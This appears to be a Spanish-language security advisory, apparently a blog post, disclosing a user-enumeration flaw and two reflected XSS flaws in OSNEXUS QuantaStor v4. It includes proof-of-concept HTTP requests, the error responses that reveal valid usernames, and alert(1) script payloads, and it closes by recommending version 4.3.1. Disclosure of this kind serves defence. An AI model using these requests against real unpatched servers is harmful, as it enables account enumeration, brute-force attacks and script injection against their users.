OSNEXUS QuantaStor es un software diseñado para facilitar el proceso de administración de almacenamiento. Está presentes en muchos centros de datos alrededor del mundo.
Se han encontrado 3 vulnerabilidades diferentes en la aplicación. Un ataque de enumeración de usuarios y dos vulnerabilidades XSS. Estas vulnerabilidades permitirían un ataque remoto para obtener nombres de usuarios válidos para realizar fuerza bruta y así obtener información confidencial.
Versiones Afectadas: OSNEXUS QuantaStor v4
El sistema de logueo del software devuelve distintas respuesta dependiendo de si el usuario está presente o no en el sistema. Aprovechando estas respuestas, el atacante podría realizar esta enumeración de usuarios del sistema, ya que podría distinguir cuentas válidas de las inválidas.
POST / HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: localhost:5152
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: «»
Authorization: Basic
Content-Length: 384
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"; xmlns:xsd="http://www.w3.org/2001/XMLSchema"; xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance«;>
Si el usuario es válido la respuesta sería:
SOAP-ENV:Server<fault>Authentication check failed for ‘admin’, please verify your password was entered correctly. (10.10.0.1) [err=26] </fault>Authentication check failed for ‘admin’, please verify your password was entered correctly. (10.10.0.1)
[err=26]service/osn_security_manager.cpp:1298
Si el usuario no es válido, devolvería:
SOAP-ENV:Server<fault>Authentication failed, please verify your username, ‘TESTUSER’ is invalid. (10.10.0.1) [err=26]</fault> Authentication failed, please verify your username, ‘TESTUSER’ is invalid. (10.10.0.1) [err=26]
service/osn_security_manager.cpp:1256
Vulnerabilidad XSS en “qsCall”
La API de QuantaStor acepta parámetros mediante el uso de «qsCall«. Si el método llamado no existe salta un error indicando que el método invocado no es válido. Un atacante puede incluir código HTML o JS en las llamadas a «qsCall«.
https://:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E
El «jsonrpc» de la API de QuantaStor acepta parámetros a través del uso de un diccionario en JSON. Si el método llamado no existe se dispara un error parecido al de la anterior vulnerabilidad. Un atacante puede aprovechar esto para incluir código HTML o JS en la key «method: x«.
POST /qstorapi/jsonrpc HTTP/1.
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: :8153
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 54
{«method»:»alert(1)», «params»:»asd»}
Para corregir estas vulnerabilidades se recomienda actualizar a la versión 4.3.1 que solventa estos errores.
Deja una respuesta